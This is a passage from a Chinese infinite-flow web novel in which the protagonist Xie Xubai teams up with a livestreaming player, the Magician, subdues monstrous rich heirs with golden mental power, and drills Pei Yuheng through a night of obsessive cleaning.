大量治疗异化病患,加上得到第一医院规则认可的【主任医师】身份,让谢叙白感知他人情绪变化的能力,在短时间内提升到了一个炉火纯青的地步。 只从个人肢体语言的细枝末节中,就能大致感知到这人现在的真实情绪。 在那短到大概只有百分之一秒的时间里,他确实感受到了,从魔术师身上迸溅出一股强烈的、想要退缩逃跑的惊惧。 再然后,才是狐疑警惕的打量,和隐而不露的战欲。 谢叙白不清楚如何触发玩家的必死条件,此番算是误打误撞地震慑到了对方。 事实上魔术师的错愕瞪眼只在一瞬,他隐藏得很快,也隐藏得很好,就连直播间里紧盯着屏幕的观众们都没能发现。 因为谢叙白的出其不意,所有人的注意力,全都集中到这名突然出现的NPC身上去了。 一有小触手缩在谢叙白的影子,二有宴朔给的金丝眼镜,双重拟态buff,观众们也没认出谢叙白,只把戴眼镜的他看成另一人。 :卧槽卧槽! :开场就出局吗,有没有搞错? :这游戏里原来不止谢叙白一个特殊NPC啊? :不对有蹊跷,你们看魔术师根本没出局,对方可能是个玩家! :开场就能把魔术师认出来,是不是使用了什么特级道具? 魔术师比他们更快地想到这种可能。 他不再装腔作势地扮演二世祖,无所谓地扯出个微笑,紧盯着谢叙白的眼神有点危险:“说吧,找我干什么?” 魔术师说话时语调高扬,视线锐利,支着腿儿看起来懒懒散散,但给人的感觉像是一头蓄势待发的猎豹。 说明他对自己的实力很有自信,问话里也夹带着一层咄咄逼人的深意:给我一个你敢堂而皇之招惹我的理由。 谢叙白扫了一眼魔术师的扑克牌耳钉。刚才这人想转身逃跑的时候,似乎有意往耳钉上摸。 他斟酌言语,顺着对方的话头,平静地开口道:“找你是为了寻求合作。但,如果你对我有意见的话,我们可以先打一架再聊。” 直播间的观众被这开门见山的一句话刺激大发了,弹幕爆炸式激增! 魔术师的实力不用提,那可是战力综合榜第五!另一名玩家没见过长相,似乎用了某种隐匿身份的道具,对方敢有恃无恐地找上魔术师,说明实力同样高深莫测! 这两人的打戏绝对有看头! 比起看热闹不嫌事大的观众,魔术师要考虑的东西就多了,比如被谢叙白一眼盯准作为最终底牌的耳钉。 他从来没有对着直播镜头使用过耳钉,是以大家都以为这只是个搭配气质的装饰物,却没想到被个不认识的人一个照面看出端倪,怎么不让魔术师心惊。 而且,面对自己这个大名鼎鼎的战力榜第五,谢叙白却始终能做到语气淡然,神情古井无波。 魔术师完全看不透谢叙白手里的牌,有点忌惮,对方的邀战更是哽得他一时半会儿没能反应过来:“对你有意见,所以我们先打一架,你自己听听这是什么逻辑?” 谢叙白道:“因为接下来的任务,我必须保证万无一失,也就是说,哪怕我们两个合作,也必须由我来主导。” 魔术师热衷于成为全场焦点,听不惯有人在自己的面前装X,谢叙白的这番话直接踩中他的雷点,就算心中忌惮,也忍不住想给这张波澜不惊的漂亮脸蛋来上一拳。 何况他还开着直播,要是观众们看到自己跟包子似的忍气吞声,魔术师的名声还要不要了? 魔术师脸上的笑意越来越深,只见他在半空中手指翻转,没看清怎么动作的,一支鲜艳夺目的红玫瑰出现在手中,被他递至谢叙白的面前:“说得真有气势,先生,让我忍不住想为你献上一朵花。” 弹幕呜哇哇地叫喊起来。 :出现了,魔术师的死亡玫瑰!据说接手的人会中剧毒、血肉溃烂而死,拒绝的话玫瑰会在一瞬间变成食人花将人吞食,魔术师的招牌技能之一! :咦?不是疗伤玫瑰吗?我亲眼看过魔术师用玫瑰活死人肉白骨的神迹欸! :前面的,两种玫瑰都存在,主要看魔术师送出去的是哪一种。 :如果是死亡玫瑰,不管接不接手都很致命啊,这算不算应战过招? :噢噢噢,瞬间变得好刺激! 谢叙白看着面前的红玫瑰,花瓣细腻柔嫩,沾着晶莹剔透的露水,似艳红的血液在上面流淌。 “只要你能接下这朵玫瑰,我们就合作。”看谢叙白没动,魔术师故作无辜地道,“总不能你说要主导全场,却连队友的东西都不敢接手吧?” 谢叙白掀了下眼帘,手伸向花。 但在快要接手的时候,他忽然停了下来,指尖和红玫瑰隔着一段距离,虚空一点。 神奇的一幕发生了!只见红玫瑰从根部位置开始无火自燃,金红色的火焰一点点舔舐玫瑰的本身。 眼见那火将要烧到自己的手掌上,魔术师见状微惊,将玫瑰抛向空中。 但失去支撑的玫瑰没有从空中掉落,像是被火光托举着,直至被燃烧殆尽。一张名片从星星点点的灰烬中生成,飘下来,落在魔术师的手中,上面遒劲有力地写着两个大字。 ——【裴余】 谢叙白淡淡地道:“这是我的名片,算是礼尚往来。” 从见面就被道出身份,再到自己的道具被青年轻而易举地替换,魔术师的表情越来越怪异,脸皮微微抽搐。 谢叙白又从这人身上感觉到了那股色厉内荏的情绪,魔术师绷紧的全身肌肉,每一处都好像写满了“这人好可怕想跑想跑想跑!” 但又不知道碍于什么原因,对方硬生生地忍了下来,还要强撑笑容若无其事地道:“确实是好手段,你怎么做到的?这是你的个人技能?” 个人技能?算是吧,用精神力摧毁魔术师的玫瑰花,再用精神力构造出一张个人名片。 谢叙白余光扫见裴玉衡从巷子口一掠而过的身影,快步追了上去:“跟上。” 魔术师还没来得及问这张名片给自己设了什么坑,眼睁睁看着谢叙白丢下自己跑走,一不小心,手指一用力,竟然将纸质的名片捏碎了。 糟了!他瞳孔微缩,下意识想摸耳钉。 结果出来的不是什么杀招。 流光溢彩的金色精神力顺着魔术师的指缝流淌,散开时透着浸入皮肤的暖意,在寂冷的晚上亮得晃眼。 魔术师愣上几秒,心里五味杂陈。裴余是在戏耍他吗?他对这人了解不够,拿不准。 初次过招明显是他落了下乘,想到观众们可能出现的反应,魔术师目光一暗,对着镜头耸了耸肩,自信满满地弯唇:“真是倒霉,居然遇到同行了,大家稍安勿躁,就当是餐前点心,好戏接下来才要上演呢!” 他优雅欠身,两三步追上谢叙白。 裴玉衡已经来到酒吧门前,犹疑不定地看向入口处挂着五彩绚烂LED灯的招牌。 谢叙白躲在角落,没有上前,等魔术师来到面前后才开口:“如果我没有猜错,我们的任务应该都是帮裴玉衡完善设定。” 听着谢叙白煞有其事的语气,魔术师根本没想到这人连玩家都不是。 角色任务摆在眼前,嗷嗷待哺的金主粉丝队友们流落四方,就算他无法信任谢叙白,想要和人继续较量,也得暂时放下好胜心。 问题是谢叙白不在任务影像中,看人身上穿着白大褂,难道对方扮演的是个医生? 魔术师摸了摸下巴:“因为心理阴影导致的洁癖啊,要是走不出去,搞不好会患上重度抑郁。这几个富二代看起来都是睚眦必报的小人,就算他能逃得过这一次,估计也会被接下来的打击报复折磨得够呛,可怜嘞。” 他唉声叹气地一摊手:“不过更可怜的是我们,按系统的尿性,他后面妥妥会黑化变成大BOSS,曾经害过他的人都会被折磨得生不如死。” 就算谢叙白没有出现,魔术师也不准备对裴玉衡下黑手,这男的长得是不赖,但对方即将面临的遭遇,总让他幻视公司里的那些……就算原人格影响着他,他也提不起一点兴趣。 魔术师一口气说了这么多话,却没听见谢叙白吭声,有种自己在唱独角戏的不爽感。 正要追问谢叙白的看法,便见对方忽然抬头,往前一步,还不忘反手拉了他一把。 一下子,不仅谢叙白出现在裴玉衡的面前,连带着魔术师也暴露了。 裴玉衡将要往前的脚步停下,往后一挪,肉眼可见地警惕起来:“……徐少?” 徐少,既魔术师正在扮演的角色,徐扬。 魔术师应了一声,重拾人设,正准备和裴玉衡好好说道说道,就见当事人干脆利落地移开目光,看向旁边的谢叙白,神色缓和:“这位是?” 魔术师:“……”为什么感觉裴玉衡的语气瞬间好上不少,这么看脸的吗? 不怪裴玉衡差别对待,他原本就对这些横行霸道的纨绔子弟没什么好印象,出于礼貌和有求于人,才勉为其难点头打一声招呼。 而谢叙白气质沉静,温文尔雅,让裴玉衡一眼想到学识广博的教授学者。 独身来到这鱼龙混杂的街区,好不容易看见一个正经人,让裴玉衡不由得松了口气,紧张的心情微微放松。 谁知道谢叙白和他对上眼,竟是开口发难:“看你这装束扮相,当这里是游乐场?” 裴玉衡一愣,看向自己的白衬衫,实验室里的大家都是这么穿的,没觉得有什么不妥。 再下一秒就听见谢叙白对魔术师说:“把你的衣服脱下来,让他换上。” 魔术师:“???” “……”裴玉衡盯着魔术师大金橘色儿的豹纹开衫,一言难尽地抽了抽额角,婉拒道,“不用,多谢好意,我还是穿自己的衣服比较好。” 谢叙白推了推鼻梁上的眼镜,淡声道:“不,这不是商量。” “我只给你两个选择,要么你换上这套衣服,要么离开。” 听出不容置疑的语气,裴玉衡面对谢叙白时还算扬起一点儿弧度的嘴角,慢慢绷紧。 “为什么要做出一副不能接受的样子?”谢叙白说,“我以为你早就清楚,我、他,以及邀请你过来的所有人,都不是什么好人,难道你来时没有一点准备,还奢望自己能得到贵宾级待遇?” 魔术师听得眉毛狂跳,为什么你自损八百的时候还要拉上我? 关键是裴玉衡真被这番话激起了火气,眼神都冷下来了啊!要是真被气得转身就走,他们的任务该怎么办? 然而事实证明,裴玉衡忍耐能力极强,不然他也不会独自抗压那么多年,没对任何人提起,当即深吸一口气,看向魔术师。 谢叙白也看他。 魔术师不敢置信他们居然是认真的:“你们这是什么眼神?怎么,你们想让我脱我就得脱?不可能!” 两分钟后,之前被喊下楼放风的玩家被迫含泪脱下衣服,比起豹纹开衫,显然这件黑色夹克服更让裴玉衡容易接受。 夹克服比较宽大,套在裴玉衡的身上,把什么身体曲线都遮住了,领口往上一翻,在昏暗的光线下,连脸都看不清楚。 被逼换衣服,让裴玉衡觉得莫名其妙。 此前只身赴会,他只隐约感到不太安全。谢叙白的刁难,忽然让他产生实质性的危机意识,全程拧着眉头,散发生人勿进的黑气。 魔术师忽然想起来,裴玉衡好像就是因为扮相太干净,神情太纯良,才在进入酒吧时遭到其他人的窥伺。 如果是现在这种扮相走进去,能不能吸引人还真不好说。 但这也萌生出一个问题,少了那些客人的刺激,裴玉衡究竟要怎么加重心理阴影? 很快,魔术师的疑问得到解答。 谢叙白把裴玉衡拎到包厢后,找保洁拿来清洁工具,开口就是一句:“开始吧。” 裴玉衡没反应过来:“什么?” “大扫除。”谢叙白推了下眼镜,理所当然地道,“里里外外,角落缝隙,我不想看到一点污迹。”《 》 80-85 第81章 洁癖是怎么养成的 “……”裴玉衡盯着谢叙白手里的清洁工具,陷入了沉默。 他试图宽慰自己,人在没事找事的时候一般不遵循基本逻辑。 但他抬头,环顾脏乱狼藉的包厢。 酒瓶子东倒西歪,烟头摁在桌子上烧出焦痕。皱巴巴的衣服到处乱丢,酒味烟味混在一起,闷得呛鼻。 ……裴玉衡不明白这种地方有什么保持干净的意义。 不光是他不解,其他富家子弟举着酒瓶子,看着“嘭!”一声拍门而入的谢叙白,也是如出一辙的懵逼。 有人受惊,忍不住抖了一下手,酒水从倾倒的瓶子里洒出来,腰下全部遭殃。 这不是普通的酒,这是在冰桶里保温三小时的酒,瓶子上还飘着凉飕飕的白雾,冻得他当场捂裆跳脚:“我靠!艹!纸纸纸!纸在哪儿?!” 登时一阵兵荒马乱。 旁边的人手忙脚乱地给他找纸擦酒,其他人回神,面色不善地看着谢叙白,冲魔术师扬了扬下巴:“徐杨,这人是怎么回事?” 他们寻欢作乐的剧本里,可没安排过这一出。 而且谢叙白进门后只对着裴玉衡一个人说话,直接把他们当空气。 刚才保洁拿工具过来,这人落在保洁脸上的目光,都比落在他们身上的多。 一群纨绔子弟,平日里都是被众星捧月的焦点,哪儿受得住被人不放在眼里的气? 这家酒吧的VIP包厢,持卡才能进入。 谢叙白没卡,只能是魔术师领进来的。 几人不约而同地停下手中的动作,包括还在擦裤子的那两人,直勾勾地盯着魔术师,似乎要他给个说法。 叮。 系统提示音响起。 【请遵循当前角色,勿要违反人物设定。】 那一瞬间,提示声不是响在魔术师的脑子里。 耳廓拂来阵阵凉风,仿佛有具毫无温度的阴魂贴靠过来,吹出冰冷的吐息,激得他后背寒毛直竖。 富家子弟们的模样也变得很不正常,脸色惨白如纸,两颗眼珠子僵直一般凸显出来,随着魔术师的动作上下移动,目不转睛,好像嗅到肉腥味的活死人,随时准备扑上来。 魔术师经历过那么多大风大浪,很快反应过来,这是触发必死条件的先兆。 是他违反了角色设定! 作为和这群人沆瀣一气的恶霸少爷,他怎么可能会在对裴玉衡下手之前,还节外生枝找个外人过来,并且对谢叙白目中无人的态度置若罔闻? 魔术师和谢叙白只是临时合作,谈不上什么队友爱。 在扮演原主和给谢叙白打掩护之间,他当然选择前者,粗声粗气地质问谢叙白,准备倒打一耙划清界限:“什么怎么回事?我还纳闷呢,我说裴余,你……唔唔唔!” 话没说完,金色精神力飞驰出去,将魔术师五花大绑丢在沙发上,连嘴都被堵得死死的。 魔术师错愕抬头,和谢叙白对上视线。 从那双淡然无波的眼睛中,他霎时体会到,谢叙白前面和他强调“由我主导全场”,绝对不是说说而已。 懵逼的同时,也惊愕于谢叙白比他还果决无情的行动速度,一丁点犹豫都不带有的。 不过直接动手也好,明眼人看见谢叙白对魔术师出手,再怎么都不会把他俩当成一伙人。 所有阴恻恻凝视着魔术师的眼珠子,全都转移到了谢叙白的身上。 ——那些富二代信了,他们以为是谢叙白哄骗并挟持了魔术师,来给裴玉衡解围。 一人怒喊:“敢来这里砸我们的场子,也不打听一下少爷们是谁,揍他!” 其他人登时撸袖子站起身,一具具沉迷酒色被掏空精气神的身体,在发怒时倏然膨胀一圈,变得高大威武。 同时,笼罩在他们脸上的那股青黑色尸气更浓郁了,空气中仿佛弥漫着淡淡的腐臭味儿,叫人毛骨悚然。 原来他们早已异化成怪物。 几人一齐扑上来,巨大的阴影从头临下,极有压迫力。 却见谢叙白眼也不眨,金色精神力化作长鞭凌空横扫,“咻啪!”一声破空震响,把所有人抽了个人仰马翻。 “啊!!” 富家子弟们万万没想到谢叙白看着瘦弱,下手却这么凌厉。 若是他们早先见过谢叙白在收拾宴朔意识世界里的千面怪物时,用了些什么手段,估计当场就跪了。 此刻,他们还抱着“我能反杀”的侥幸,龇牙咧嘴地叫嚣:“你他X的,啊!” 谢叙白教训他们的时候,全程只催动精神力,双手放进白大褂的口袋,站在原地淡淡地看着他们满屋子抱头鼠窜的身影,连眉毛都没动一下。 那双眼睛因漠然而显出水晶琉璃的淡色,透着一股不怒自威的气势,叫几人东窜西跳,也不敢靠近他半分。 后面被抽得皮开肉绽,几人气势儿一下就蔫儿了,痛得满地打滚儿,连声求饶。 “你到底是什么人?我,我爸妈有钱,别杀我!” “大哥饶命,好汉饶命啊,是我们刚才有眼无珠,饶命!” “都是他们在找您麻烦,不关我的事!” …… VIP包厢隔音效果极佳,何况这群渣滓为了策划的龌龊事,提前和酒保他们打过招呼。 就算有人听到动静,也不会过来,只暗暗咋舌这群少爷玩得真花。 富家子弟们放开嗓子痛叫哀嚎,也没能招来一个工作人员帮忙,尝着自食恶果的痛,惊恐地缩在角落。 想到裴玉衡曾经的遭遇,谢叙白对这些人生不出任何怜悯心。 他沉吟着,琢磨着把他们背后助纣为虐的家族,一块连根拔起的可能。 并做下决定,等这事了结后,他回去一定要把建设执法组织的事情提上日程。 等几人奄奄一息,谢叙白用精神力将纨绔子弟们捆了个扎扎实实,头朝下,吊在屋子中央。 怪物体质强悍,只要留着一口气,这些人就死不了。 魔术师看着眼前一个个惊慌失措口不能言的“倒吊人”,吞咽唾沫,不留痕迹地往后缩了缩身体。 他错了,他不该怀疑谢叙白无心无情。 和这群被揍得只剩出气没有进气的家伙比,他只是被五花大绑丢在沙发上,是多么温柔的待遇。 谢叙白回头看向浑身僵硬的裴玉衡,提醒道:“你还愣着干什么?” 裴玉衡不是愣神,是完全没有反应过来。 他是生物科技领域的,一个生物是死是活,肉眼就能分辨出来。 所以为什么这群富二代的身体会突然变得和死尸一样?尸斑大片蔓延至全身,呈褐色乃至黑色,代表这群人至少死了三四天。 为什么谢叙白能使用那离奇古怪的金光做武器?又为什么在场所有人都表现得毫不意外? 本来心里全是疑问,但看着半空中甩得虎虎生风的光鞭,裴玉衡猝然惊醒。 他反射性且不自然地往后一缩,几不可察地绷紧全身肌肉,听到谢叙白的询问,又猛然回神。 “我……”裴玉衡想要保持冷静,但心很乱,对上谢叙白的眼睛,多少有几分无措,强撑镇定问道,“你刚才用的是道法还是仙术?” 裴玉衡不是一无所知的人类,他曾无意窥见世界的本貌,来找徐杨等人,就是为了求解真相。 一般窥见诡异世界本貌的人,都会因为接受不了禁忌知识而异化疯狂,直至变成怪物。 但也有谢叙白这样的意外。 吕向财一直笃定,谢叙白是唯一一个不会变成怪物的人类。 谢叙白却觉得不尽然,比如眼前的裴玉衡。 他没有在裴玉衡身上感受到诡怪的气息,要么是还没彻底觉醒,要么后面遇到不堪忍受的变故,精神崩溃,从而变成食尸鬼。 此时此刻,裴玉衡绞尽脑汁试图用自我认知,解释当前场景的一幕,像极了谢叙白初次觉醒时,无所适从的样子。 谢叙白多想将一切真相和盘托出。 如果他像吕向财帮助他一样,帮裴玉衡逐步了解这个世界的真相,没准裴玉衡可以和他一样,成为第二个不会被异化的人类。 然而,谢叙白只是刚刚生出这样的念头。 扑通! 剧烈的心跳声从胸腔传来,难以忽视的心悸感,让谢叙白下意识皱眉。 这是规则之力在警告他,裴玉衡必须患上洁癖症,必须完善所有设定,不能阻碍历史的大进程。 不然包括裴玉衡在内的第一医院,将不复存在——蝴蝶在历史长河中轻轻扇动翅膀,扬起的风暴,足以酿成灭顶之灾。 谢叙白答道:“不是道法也不是仙术。” 见裴玉衡还想继续追问,谢叙白抬手打断他:“别废话了,先做好我吩咐的事。等我能看到你的诚意之后,我自然会告诉你想知道的一切。” 这番不客气使唤人的话,听得魔术师都忍不住额角一抽。 但裴玉衡只是定了定神,便开始动手打扫。 他先脱下宽大碍事的黑夹克,又在清洁工具中搜出防污围裙,利索地围在腰下。 衬衫袖子被顺势撸在胳膊肘,露出肌肉线条流畅的小臂。腕骨消瘦突出,皮肤很薄,几根细长的血管,在冷白的肌肤上若隐若现。 看着弱不禁风,其实很有劲儿。 谢叙白记得,他俩初次见面是在盛夏的街道上。妈妈知道裴玉衡要来,提前准备一桌子好菜,在厨房忙得脚不沾地,招呼他到门口接人。 他蹲在树荫下,盯着路口来来往往的人流。 盛夏的蝉聒噪地叫,知了知了,叫得他头晕眼花,汗流浃背。 直至一双大手从头顶伸过来,皮肤带着丝绸般柔软的凉意,驱散夏日的燥热,将他稳稳抱起。 幼时的谢叙白,明明和裴玉衡没见过面,却能一眼认出对方。 他也不知道是见人长得好看,还是当时热得脑子不清醒,直接干巴巴满脸期许地问人:裴叔叔,你是我的爸爸吗? 裴玉衡当时的反应,谢叙白记不清了,只记得那双大手在自己的脑袋上温柔地揉了又揉,然后被人抱着去买雪糕。 雪糕不知不觉就热化了,顺着棍儿往嘴角淌,快得谢叙白来不及反应。 他当时慌急了,怕雪糕水滴下去,弄脏衣服,弄脏裴叔叔,连忙伸手去接。 但在那之前,裴玉衡先伸出了手。 那双干净、漂亮、萦绕着清冷松柏香的手,毫无顾忌地擦上他的嘴角,任由那黏腻的雪糕水沾了满手。 幼时的谢叙白曾有一个疑惑,为什么裴叔叔对妈妈说所有领养手续都办全了,后来妈妈化作天上的星星,儿童福利院的人陆陆续续来了三趟,裴玉衡也没有现身领养他。 现在的谢叙白或多或少意识到,估计是裴玉衡当时自顾不暇,又因为重重变故,才就此错过。 裴玉衡将水桶接满水,倒入清洁剂,拿起抹布和小铲子,开始仔仔细细地清洁瓷砖。 不是经常做家务的人,没法把这一套动作做得行云流水。 魔术师不免狐疑。 在原主徐杨的记忆里,裴玉衡身为傅家旁系子弟,家里有保姆佣人伺候着,再怎么也是个五指不沾阳春水的少爷,怎么干起杂活这么熟练? 裴玉衡一块瓷砖反复擦上两三遍,好像本身就有点轻度洁癖…… 刚这样想着,魔术师就听到谢叙白的提醒声。 “看看这里擦干净了吗,你就迫不及待地挪地方?” 裴玉衡一顿,盯着谢叙白指着的位置,半晌才从头发丝粗细的瓷砖缝隙里,看到一点沙粒般的泥痂。 裴玉衡:“……” 他沉默两秒,拿小铲子把泥痂刮了下来。 然而这还没完。 “这里,那么大的酒渍看不见么?” “我说的屋子里里外外,当然包括天花板。你说身高够不上?够不上就把椅子搬过来,站上去,用伸缩杆。” “谁家做清洁会放任洗手台上全是水?现在擦干净,顺手的事别留到最后。” 富家子弟们的血滴在地板上,呈污黑色,谢叙白一手指过去:“还有这——” 啪的一声,裴玉衡面无表情地将拖把头砸在血液所在的地板。 霎时间污水飞溅,浸湿谢叙白的裤脚。 谢叙白对上他家裴叔仿佛溢散着点点杀意的眼睛,几不可察地抖了下眼睫毛,若无其事地淡声道:“尽量不要这样清理,会出大问题。” 裴玉衡冷冰冰地道:“是吗,恕我愚钝,劳烦这位高人阁下告诉我会出什么问题?” 谢叙白挪开视线,催动精神力去刺激这几滴血液。 几缕金光落在污黑血液上,这些装死不动的血,登时像活过来一样抽搐不止,张牙舞爪地甩动细长的触须。 和傅倧脱体的血肉一样,这些离体的血液也能攻击人! 它们似乎还有一定的智力,意识到谢叙白不好对付,当即像蜘蛛蹬腿儿般张开触须,恶狠狠地扑向另一边的裴玉衡。 裴玉衡来不及躲开,慌张地将手臂挡在眼前。 谢叙白将他及时拉到一边,金光掠过,将这些血液裹挟束缚。 即使被抓住,这些小东西也不甘消停,污黑的触须不停挥动,竟然将墙壁刮出一道深长的裂痕! 注视着那道裂痕,裴玉衡瞳孔微张。 他把手伸过去比划长度,骇然发现,这个威力足以割破人的喉管! “像他们这样隐藏在人群中的怪物,世界上比比皆是。” “而有的怪物,哪怕剩下一块指甲大小的血肉也能死而复生,所以清洁必须细致。” 谢叙白的声音,仿佛一记千斤重锤敲在裴玉衡的心头:“如果做不到,留下一堆问题,死的就是你。” 知道裴玉衡责任心重,谢叙白强调道:“还有后面来打扫的清洁工和路过的客人,你觉得他们会怎么样?” 听到这话,摸着心口还在后怕的裴玉衡呼吸一滞,瞬间拧紧眉头,诚恳地道歉:“对不起,我会注意。” 他原本以为谢叙白是单纯的吹毛求疵,没想到有这份苦心。 谢叙白的强调明显是有效果的,魔术师耳边响起叮的一声提示音。 【人物裴玉衡,“洁癖”塑造进度:60%,请再接再厉。】 “现在注意不到也没关系。”谢叙白说,“我会监督你,直到你养成绝对的好习惯。” 语气坚定,势在必得。 裴玉衡唰一下回头,对上谢叙白认真到发亮的眼睛,刚刚拿起抹布的手惊悚一颤,陡然生出不祥的预感。 他头皮发麻想要拒绝,但是谢叙白根本不给他拒绝的机会,两个字掷地有声:“继续。” 对裴玉衡来说,这是极其痛苦的一个晚上。 整整八个小时,他记不清自己听过多少句谢叙白的“再擦一遍”。 为了防止他的手掌被水泡软磨伤,谢叙白还贴心地用精神力,给他覆盖上一层薄膜手套。 于是裴玉衡找不到理由停下来休息,全程不停地擦瓷砖,扫地拖地,连缝隙都要用棉签细致地擦上好几次。 整个包厢,里里外外,包括外面的走廊,全让他在谢叙白的督促下打扫了一遍。 直到天光大亮,裴玉衡才终于得到谢叙白的放行。 他下楼时恍恍惚惚,看着酒吧大厅洒落一地的酒水,差点反射性回去拿拖把拖地,幸好及时醒悟过来,一个激灵,黑着脸快步走人。 包厢里,倒吊了整个晚上的纨绔子弟被放了下来。 谢叙白一个个给他们植入精神暗示,避免他们回头去找裴玉衡的麻烦。 魔术师坐在沙发上,抬着双腿——裴玉衡把地砖擦得跟镜子一样干净反光,他没法把脏鞋子往下放。 倒不是不好意思,而是这一整个晚上,只要他的脚有往地上踩的倾向,谢叙白的眼睛就会瞥过来,让他忍不住缩回去。 这似乎是对裴玉衡的另一种维护。 虽然觉得玩家不太可能和NPC扯上关系,但谢叙白也姓裴,总觉得有点微妙。 魔术师摸着下巴,半晌,似是不经意地笑问:“裴余,如果我说,我想对裴玉衡——” 唰。 金光凝成锋利的刀刃,悬在魔术师的脖颈,这一下快到让他根本来不及反应。 谢叙白给最后一个纨绔子弟下达完精神暗示,抬眸看着魔术师笑容凝固的脸,平静地道。 “试试。” 第82章 这个时期,谢语春女士还健…… 空气里迸溅着一股剑拔弩张的气息,仿佛下一秒就会爆发一场腥风血雨。 魔术师目光向下,凝视着锋利的刀刃,呼吸声低到几不可闻。 少顷,他伸出两根手指,捏着没开刃的刀背,将光刃从自己的脖子底下小心翼翼地挪开。 魔术师冲谢叙白状似无辜地摊摊手:“别这么吓人嘛先生,既然你已经验证了可以另辟蹊径完善裴玉衡的设定,完成我们共同的任务,我为什么要没事找事给自己平白树敌?像那种纯良无害的NPC黑化起来才是最恐怖的,一般人都知道不能招惹。” “但很明显,你并不觉得自己是一般人。”谢叙白眼神平淡地看着他,“做些博人眼球的刺激行为,借此提高直播间热度,难道不是你的最终目标?” 魔术师嘴角的笑容又淡了一分。 他没想到会被谢叙白揭穿内心打算,而且是又一次。 光刃被挪开后一直悬停在魔术师的身边,没有更进一步。 它的周身散发着淡淡的金色光晕,被光照耀的地方寒意散尽,像春日里的阳光一般温暖和煦。 但魔术师知道,只要他敢对裴玉衡产生不轨的歹意,这抹温暖的光,也能锐利到瞬间夺取他的性命。 魔术师回神,很不认同地耸了耸鼻子,义正言辞地说:“别说得那么物质好吧!每一名观众都来之不易,是需要好好呵护的小可爱。既然粉丝们抱着期待的心情来到我的直播间,我怎么好意思让他们为一些寡淡无聊的剧情败兴?” 谢叙白略略扫了他几眼:“看出来了,你的偶像包袱确实很重。” 魔术师总觉得他话里有话,扬着笑问:“怎么说?” “明明真身不在这里,直播镜头也不在这里,却仍然时刻规范自己的言行,说一些体贴粉丝哄人开心的话。”谢叙白不咸不淡地看着身体逐渐绷紧的魔术师,“难道你有什么把柄落在粉丝的手里?” 这话一出来,魔术师嘴角的最后一点笑意也消失了。 空气一片死寂,代表魔术师无力反驳。 正如谢叙白所说,留在这里的“他”是个拟真替身。 一开始对方操持全局,差使裴玉衡大扫除,魔术师还不放心留在这里看了许久。 后面他见完善设定的任务在循序渐进地推进,没什么大问题,干脆使用技能脱身,留下一个类似木偶替身的可操控壳子监控现场。 本人则跑出去寻找失落各地的队友,以及勘测副本地形,搜寻通关线索。 这阵儿,他刚好找回来两名队友,不断说着甜言蜜语,安慰被诡怪吓坏哭得稀里哗啦的金主粉丝。 顺手救下若干名路人玩家,并收(qiao)获(zha)大量积分报酬。 如果是经常观看魔术师直播的人,会知道魔术师这手金蝉脱壳和一心多用的本事是基操。 作为战力榜第五,他的手段远远不止如此。但他一方面又很慷慨大方,除去扑克牌耳钉,从不把自己的技能藏着掖着,熟悉他的粉丝甚至能把技能花样倒背如流。 这种独树一帜的行径,为魔术师赢来了大量观众和超高的热度。当时很多人不看好他,说他为了流量什么都不管了,早晚有一天会被人针对翻车。 但是没有。 哪怕不少玩家手里拿着魔术师的技能表,想要陷害他或者把他当作成名路上的垫脚石,也没有一个能够真正地打败他。 直到谢叙白出现。 魔术师晦暗不明地打量着谢叙白,像是重新认识这个人一般,不再撑起让人眼前一亮的营业式微笑,不冷不热地问:“什么时候发现的?” 谢叙白语气不变:“昨天晚上,大概凌晨一两点的时候?” 初见时他就发现了,魔术师的视线焦点偶尔会不经意地落在左上角的位置。 按照他对严岳等玩家的观察,那里放着玩家的虚拟个人面板,只有他们自己能看见。 想来是魔术师在通过个人面板的积分增长幅度,观察着直播间观众们的反应。 这人真的很在意观众的眼光,在意到忘记让傀儡保持和真身一致的胆小怯弱。 魔术师的心脏经不住一沉,和他真身离开的时间差不多。 也就是说,几乎在他离开的同一时间,谢叙白就已经发现了端倪。 被轻而易举屡次看穿的魔术师,头一次生出毛骨悚然的感觉,总怀疑下一秒自己连裤衩都要被人扒干净。 他试图再次扬起无所谓的笑,从容应对谢叙白平静的审视,但是嘴角扯了又扯,还是没能笑得出来。 反正替身的事情已经暴露了,魔术师干脆打开天窗说亮话:“……你到底是什么人?不管是首通榜还是战力榜,上面的玩家是什么性格,展露过什么技能,我不说如数家珍,至少都打过交道,没有任何一个人像你一样。” “你的脚步沉重,呼吸不匀,看上去几乎没有得到过身体方面的强化。但是精神力很高,个人技能也和精神暗示有关,专修精神类吗……唉,想不出来,完全不知道你是谁。” 魔术师狐疑地问道:“难道说你就是传说中的幽灵玩家?独来独往、不开直播、不进公会、拒绝上榜。” 谢叙白不置可否。 “好家伙。”魔术师当他默认,发自内心比出一个大拇指,“你比巅峰那些人还离谱,现当代苦行僧非你莫属。” 他使用道具,把自己的脏鞋子清理得干干净净,走下沙发,自来熟地搂住谢叙白的肩膀:“说实话,刚才有那么一瞬间我还在怀疑,你会不会是那名特殊NPC谢叙白伪装的。” “又或者,你是又一名像谢叙白一样,觉醒了自我意识的特殊NPC,和裴玉衡有点沾亲带故的关系。” 注意到谢叙白淡然瞥来的目光,魔术师咧嘴一笑:“现在看来,哪儿能啊?你可比那个所谓的谢叙白厉害多了!别人都说他之前不出手,是扮猪吃老虎,但我看得出来,他根本就没有制服诡王的实力,甚至最初面对严岳的时候都要委曲求全,假扮一个普通路人。” 魔术师大力拍打谢叙白的肩膀:“像你这样的才是真大佬,我指的是气势,胸有成竹、唯我独尊的气势!” 谢叙白不留痕迹地躲开他的手,感觉差不多打消这人作死的心态后,袒明自己在这里和他闲聊的目的:“你的真身是不是在裴玉衡附近?” 魔术师一顿,瞬间闪现出去,警惕地离谢叙白八丈远,生怕又一把光刃架在自己的脖颈上。 这么高精度能说会笑的拟真替身傀儡,当然不可能无限制使用,技能冷却时间超长,但凡损坏一个都会让他肉疼得不行。 “如果我怀疑你会下手,裴玉衡离开的时候,我会跟他一起走。”谢叙白稍微露出一点笑,“现在我站在这里,足以能体现出我对你的信任。” 魔术师有种大灰狼在哄骗小白兔的错觉。 然而看着不苟言笑的谢叙白,竟然对自己温言细语地笑了一下,心里还是忍不住泛起一丝微妙的波澜,好像一根羽毛搔在心头。 “你想要博人眼球,想要赚取流量和热度,想要完成一场盛大的演出,我都可以配合你,我想你也看到了我的实力,有我当你的表演助手,不会让你失望。” 谢叙白推了下眼镜:“前提是你要帮我照看好任务对象裴玉衡,不能让任何人伤害他,哪怕是一根汗毛。” “你现实世界绝对是个开公司的周扒皮。” 